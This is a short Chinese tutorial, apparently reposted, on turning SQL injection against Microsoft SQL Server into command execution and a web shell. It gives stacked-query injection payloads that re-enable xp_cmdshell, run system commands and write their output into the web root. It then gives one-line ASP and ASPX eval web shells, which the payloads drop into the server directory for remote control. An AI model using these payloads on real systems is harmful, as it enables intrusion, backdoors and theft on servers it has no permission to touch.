sqlserver执行系统命令
在sql server 中是可以执行多行操作的
两条sql语句可以用分号隔开
select * from art;select * from admin
如果要执行系统命令需要开启 xp_cmdshell
xp_cmdshell 默认在mssql2000中是可以开启的,在mssql2005之后的版本则默认禁止;
如果用户拥有管理员sa权限则可用sp_configure重新开启。
id=1;EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
有的时候不支持多句执行:
exec sp_configure 'show advanced options', 1; 开启选项
RECONFIGURE; 配置生效
exec sp_configure'xp_cmdshell', 1; 开启xp_cmdshell
RECONFIGURE; 配置生效
执行系统命令
1;EXEC master..xp_cmdshell 'ipconfig'
1;EXEC master.dbo.xp_cmdshell 'ipconfig'
页面正常,说明命令被执行成功
但是并没有限制 ipconfig 的结果;
可以通过写入到文件,在访问文件
id=1;EXEC master..xp_cmdshell 'ipconfig >>C:\inetpub\wwwroot\www.demo1.com\ip1.txt'
id=1;EXEC master.dbo.xp_cmdshell 'ipconfig >>C:\inetpub\wwwroot\www.demo1.com\ip1.txt'
getshell
后 --后面有一个空格 --空格
id=1;exec master..xp_cmdshell 'echo ^<%eval request("pass")%^> >C:\inetpub\wwwroot\www.demo1.com\ip2.asp'--
exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["chopper"],"unsafe");%^>>D:\2.aspx' --
蚁剑测试
本文来源https://www.modb.pro/db/75532
相关文章